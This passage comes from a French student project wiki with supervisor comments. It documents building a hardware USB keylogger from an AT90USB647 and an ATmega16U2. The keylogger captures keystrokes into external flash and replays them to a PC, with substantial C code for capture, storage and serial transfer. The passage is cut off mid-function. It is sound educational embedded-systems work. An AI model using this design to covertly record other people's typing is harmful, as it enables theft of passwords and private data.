On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
==== Keylogger ====&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).&lt;br /&gt;
&lt;br /&gt;
Dans ma logique, j'utilise trois variables : &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; qui est la page où l'on commence l'écriture, &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui indique la page courante et &amp;lt;code&amp;gt;page_buffer_size&amp;lt;/code&amp;gt; qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
ReX : La variable &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; me semble inutile.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt;. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).&lt;br /&gt;
&lt;br /&gt;
Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique). &lt;br /&gt;
&lt;br /&gt;
ReX : Le problème pour l'envoi de l'octet &amp;lt;code&amp;gt;modifier&amp;lt;/code&amp;gt; est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapées sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt &amp;lt;codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
ReX : Le délai me paraît non nécessaire par contre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; sans attente entre les deux me paraît joueur. Sauf si &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; est bloquant mais je parierais pas.&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMega :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.&lt;br /&gt;
 &lt;br /&gt;
Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Même remarque sur les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; consécutifs et sur la méthode pour envoyer modificateur et codes de touches.&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt;, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un &amp;lt;code&amp;gt;while(!Serial_IsSendComplete());&amp;lt;/code&amp;gt; entre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; ?&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
ReX : Toujours une très bonne vidéo de démonstration.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
ReX : Ils passent en mode DFU ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].&lt;br /&gt;
&lt;br /&gt;
==== Modification du Keylogger ====&lt;br /&gt;
[[Fichier:Keylogger schéma connexion uP.png|vignette|400x400px|Schéma décrivant les connexions des broches entre les microcontrôleurs ]]&lt;br /&gt;
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]&lt;br /&gt;
&lt;br /&gt;
J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de &amp;lt;code&amp;gt;string.h&amp;lt;/code&amp;gt; afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions &amp;lt;code&amp;gt;memset&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie &amp;lt;code&amp;gt;Serial.h&amp;lt;/code&amp;gt; de LUFA. Le déroulé se passe comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(tableau_de_7_octets);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
.....&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et pour la réception :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
if (Serial_IsCharReceived())&lt;br /&gt;
{&lt;br /&gt;
    uint8_t Modifier = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    uint8_t KeyCode1 = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    ...&lt;br /&gt;
    uint8_t KeyCode5 = Serial_ReceiveByte();&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.&lt;br /&gt;
&lt;br /&gt;
De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.&lt;br /&gt;
&lt;br /&gt;
On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
/* Serial communication */&lt;br /&gt;
uint8_t Data_to_Send[CODES_PACKET_SIZE];&lt;br /&gt;
&lt;br /&gt;
Data_to_Send[0] = KeyboardReport.Modifier;&lt;br /&gt;
Data_to_Send[1] = KeyboardReport.KeyCode[0];&lt;br /&gt;
Data_to_Send[2] = KeyboardReport.KeyCode[1];&lt;br /&gt;
Data_to_Send[3] = KeyboardReport.KeyCode[2];&lt;br /&gt;
Data_to_Send[4] = KeyboardReport.KeyCode[3];&lt;br /&gt;
Data_to_Send[5] = KeyboardReport.KeyCode[4];&lt;br /&gt;
Data_to_Send[6] = KeyboardReport.KeyCode[5];&lt;br /&gt;
&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
_delay_ms(10);&lt;br /&gt;
&lt;br /&gt;
/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {&lt;br /&gt;
	 *page_buffer_size = 0;&lt;br /&gt;
	(*page_actual)++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* AT45DB641E communication */&lt;br /&gt;
/* Checking if the flash buffer is full */&lt;br /&gt;
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {&lt;br /&gt;
